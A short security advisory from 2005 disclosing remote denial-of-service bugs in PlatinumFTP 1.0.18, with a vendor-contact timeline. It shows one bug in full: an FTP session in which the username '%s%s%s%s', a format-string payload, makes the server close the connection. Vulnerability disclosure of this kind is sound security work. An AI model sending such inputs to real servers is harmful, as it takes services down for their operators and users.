

PlatinumFTP 1.0.18 remote DoS

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Application: PlantinumFTP

Site: <http://www.roboshareware.com/indexplatinumftp.php>

Version: 1.0.18 and maybe lower

OS: Windows

Bug: Remote Denial of Service

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Product:

PlatinumFTPserver simplifies management of all your Ftp clients with regards to sending and receiving program and data files over an IP connection.

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About:

I didn't found any informations about the Bugs I've found and the vendor doesn't seem to be interested in fixing problems (see History). Since PlatinumFTP isn't a mainstream server I decided to make this Disclosure.

Well, I found 3 different ways do shut down (denial of service) a PlatinumFTP 1.0.18 server. At least you doesn't need a valid user

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First Bug:

You can stop the server using %s%s%s%s as username.

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ports@boom:~$ ftp 192.168.10.101
Connected to 192.168.10.101.
220-PlatinumFTPserver V1.0.18
220 Enter login details
Name (192.168.10.101:ports): %s%s%s%s
421 Service not available, remote server has closed connection
Login failed.
No control connection for command: Transport endpoint is not connected
ftp>
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2005-03-05: Found the Bugs and mailed the vendor

2005-03-07: Mailed the vendor again using all mailadresse I found

2005-03-10: Created a yahoo-account *sigh* to make a forum post

2005-03-12: Still no response...

Well, now let's count the hours/days until someone is telling me I'm a fool because I didn't made a working exploit out of it.

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